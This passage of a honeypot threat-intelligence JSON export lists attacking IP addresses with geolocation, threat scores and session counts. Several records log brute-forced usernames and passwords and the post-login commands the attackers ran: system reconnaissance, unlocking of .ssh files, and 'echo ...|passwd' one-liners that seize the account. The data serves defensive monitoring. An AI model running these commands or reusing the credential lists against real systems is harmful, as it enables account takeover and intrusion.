        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:38:51.761000+00:00",
        "last_seen_30d": "2026-05-23T19:28:09.680000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "193.39.208.26": {
      "attack_count": 144,
      "first_seen": "2026-05-31T15:54:56.000Z",
      "last_seen": "2026-05-31T16:12:50.257Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vivek",
        "345gs5662d34",
        "Intel(R)",
        "arthur",
        "deploy",
        "ghostuser",
        "lq",
        "postgres",
        "runner",
        "rustserver",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc12345",
        "Haslo-123",
        "Qwert!12345",
        "Root-2025",
        "Xeon(R)",
        "deploypass",
        "ghostuser",
        "postgres@2025",
        "root123",
        "rust",
        "serveradmin",
        "vivek123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vivek123\\nlhA3NB3x4Rs6\\nlhA3NB3x4Rs6\\n\"|passwd",
        "echo -e \"vivek123\\nlhA3NB3x4Rs6\\nlhA3NB3x4Rs6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:54:56+00:00",
        "last_seen_30d": "2026-05-31T16:13:56.032000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 38
      }
    },
    "217.168.242.35": {
      "attack_count": 144,
      "first_seen": "2026-05-23T03:39:33.503Z",
      "last_seen": "2026-05-23T04:27:08.647Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "shivam",
        "345gs5662d34",
        "azureuser",
        "guilherme",
        "ismail",
        "jenkins",
        "nextcloud",
        "sam",
        "user7"
      ],
      "passwords_attempted": [
        "1234",
        "123456Ww",
        "123456a@",
        "1qaz!QAZ2wsx@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "CDE#4rfv",
        "Hl123456.",
        "P@ssw0rd@123",
        "azureuser@1234",
        "guilherme",
        "ismail",
        "nextcloud",
        "p@ssw0rd123",
        "shivam",
        "user7",
        "vps2024"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"shivam\\nMW5S3zlRjJl9\\nMW5S3zlRjJl9\\n\"|passwd",
        "echo -e \"shivam\\nMW5S3zlRjJl9\\nMW5S3zlRjJl9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 50340,
      "as_org": "JSC Selectel",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:39:33.503000+00:00",
        "last_seen_30d": "2026-05-23T04:28:14.520000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "198.46.134.148": {
      "attack_count": 114,
      "first_seen": "2026-05-10T01:51:44.464Z",
      "last_seen": "2026-05-31T02:23:04.416Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:51:44.464000+00:00",
        "last_seen_30d": "2026-05-31T02:24:10.888000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "132.255.41.181": {
      "attack_count": 102,
      "first_seen": "2026-05-18T21:58:44.308Z",
      "last_seen": "2026-05-19T06:18:32.015Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:58:44.308000+00:00",
        "last_seen_30d": "2026-05-19T06:19:40.905000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 51
      }
    },
    "43.160.212.102": {
      "attack_count": 89,
      "first_seen": "2026-05-30T08:28:22.552Z",
      "last_seen": "2026-05-30T08:52:58.438Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "b",
        "debian",
        "deployer",
        "extern",
        "jose"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "123qwe!@#QWE",
        "345gs5662d34",
        "a",
        "extern"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"a\\ngIUH0h2FZHSA\\ngIUH0h2FZHSA\\n\"|passwd",
        "echo -e \"a\\ngIUH0h2FZHSA\\ngIUH0h2FZHSA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:28:22.552000+00:00",
        "last_seen_30d": "2026-05-30T08:54:05.368000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 16
      }
    },
    "35.195.227.129": {
      "attack_count": 73,
      "first_seen": "2026-05-20T05:00:31.537Z",
      "last_seen": "2026-05-20T05:01:14.873Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7014",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T05:00:31.537000+00:00",
        "last_seen_30d": "2026-05-20T05:46:13.647000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 44,
        "Dionaea": 1
      }
    },
    "35.189.214.180": {
      "attack_count": 71,
      "first_seen": "2026-05-05T16:27:33.320Z",
      "last_seen": "2026-05-05T16:28:28.728Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8158",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:27:33.320000+00:00",
        "last_seen_30d": "2026-05-05T16:29:37.433000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "206.168.201.219": {
      "attack_count": 48,
      "first_seen": "2026-05-16T07:06:42.643Z",
      "last_seen": "2026-05-16T07:11:53.941Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:06:42.643000+00:00",
        "last_seen_30d": "2026-05-16T07:13:00.304000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "35.240.7.56": {
      "attack_count": 39,
      "first_seen": "2026-05-11T07:29:59.077Z",
      "last_seen": "2026-05-11T07:30:18.793Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:29:59.077000+00:00",
        "last_seen_30d": "2026-05-11T07:31:21.338000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 22
      }
    },
    "175.8.128.178": {
      "attack_count": 28,
      "first_seen": "2026-05-20T11:41:12.971Z",
      "last_seen": "2026-05-20T13:04:37.622Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:36:41.677000+00:00",
        "last_seen_30d": "2026-05-20T13:05:40.470000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "193.160.227.224": {
      "attack_count": 26,
      "first_seen": "2026-05-21T22:05:12.533Z",
      "last_seen": "2026-05-21T22:15:19.594Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Izmayil",
      "asn": 51273,
      "as_org": "FOP Lizanchuk Yaroslav M.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:05:12.533000+00:00",
        "last_seen_30d": "2026-05-21T22:16:29.121000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "163.176.147.68": {
      "attack_count": 23,
      "first_seen": "2026-05-25T02:24:26.521Z",
      "last_seen": "2026-05-25T02:24:35.622Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "cloud",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Wangsu@2017"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:24:26.521000+00:00",
        "last_seen_30d": "2026-05-25T02:25:45.425000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "176.65.139.227": {
      "attack_count": 19,
      "first_seen": "2026-05-25T17:57:56.201Z",
      "last_seen": "2026-05-26T20:38:15.426Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:57:56.201000+00:00",
        "last_seen_30d": "2026-05-26T20:39:22.749000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 7
      }
    },
    "185.134.49.180": {
      "attack_count": 18,
      "first_seen": "2026-05-05T04:51:33.349Z",
      "last_seen": "2026-05-18T05:44:43.007Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:51:33.349000+00:00",
        "last_seen_30d": "2026-05-18T05:45:45.471000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "162.12.198.108": {
      "attack_count": 16,
      "first_seen": "2026-05-27T00:02:40.758Z",
      "last_seen": "2026-05-27T00:12:47.767Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buena Nueva",
      "asn": 265699,
      "as_org": "Hidalgo Mario Gabriel TACHICOM REDES&TELECOMUNICACIONES",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:02:40.758000+00:00",
        "last_seen_30d": "2026-05-27T00:13:52.092000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "64.62.156.24": {
      "attack_count": 14,
      "first_seen": "2026-05-06T07:00:16.006Z",
      "last_seen": "2026-05-15T06:29:13.313Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 30,
        "ports_targeted_30d": 96,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T01:15:46+00:00",
        "last_seen_30d": "2026-05-31T05:51:49.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 230,
        "Honeytrap": 93,
        "Redishoneypot": 22,
        "Cowrie": 14,
        "H0neytr4p": 9,
        "Mailoney": 6,
        "Dionaea": 4,
        "ConPot": 2,
        "Tanner": 2
      }
    },
    "139.99.218.10": {
      "attack_count": 12,
      "first_seen": "2026-05-05T01:04:54.103Z",
      "last_seen": "2026-05-05T01:21:57.283Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:04:54.103000+00:00",
        "last_seen_30d": "2026-05-05T01:22:58.733000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "107.189.27.145": {
      "attack_count": 8,
      "first_seen": "2026-05-18T00:32:29.263Z",
      "last_seen": "2026-05-18T00:32:53.709Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Zaandam",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:32:29.263000+00:00",
        "last_seen_30d": "2026-05-18T00:33:54.076000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "167.249.70.92": {
      "attack_count": 8,
      "first_seen": "2026-05-11T20:23:01.284Z",
      "last_seen": "2026-05-11T20:29:15.646Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jaic\u00f3s",
      "asn": 271646,
      "as_org": "ULTRALINK TELECOM LTDA - ME",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:23:01.284000+00:00",
        "last_seen_30d": "2026-05-11T20:30:22.238000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "213.177.179.62": {
      "attack_count": 7,
      "first_seen": "2026-05-12T14:53:15.450Z",
      "last_seen": "2026-05-31T08:17:23.568Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T14:53:15.450000+00:00",
        "last_seen_30d": "2026-05-31T08:18:32.727000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 7
      }
    },
    "109.175.106.23": {
      "attack_count": 6,
      "first_seen": "2026-05-18T05:31:06.782Z",
      "last_seen": "2026-05-18T05:35:48.147Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": "Tuzla",
      "asn": 9146,
      "as_org": "BH Telecom d.d. Sarajevo",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:31:06.782000+00:00",
        "last_seen_30d": "2026-05-18T05:46:39.220000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "187.54.131.131": {
      "attack_count": 6,
      "first_seen": "2026-05-05T05:34:12.439Z",
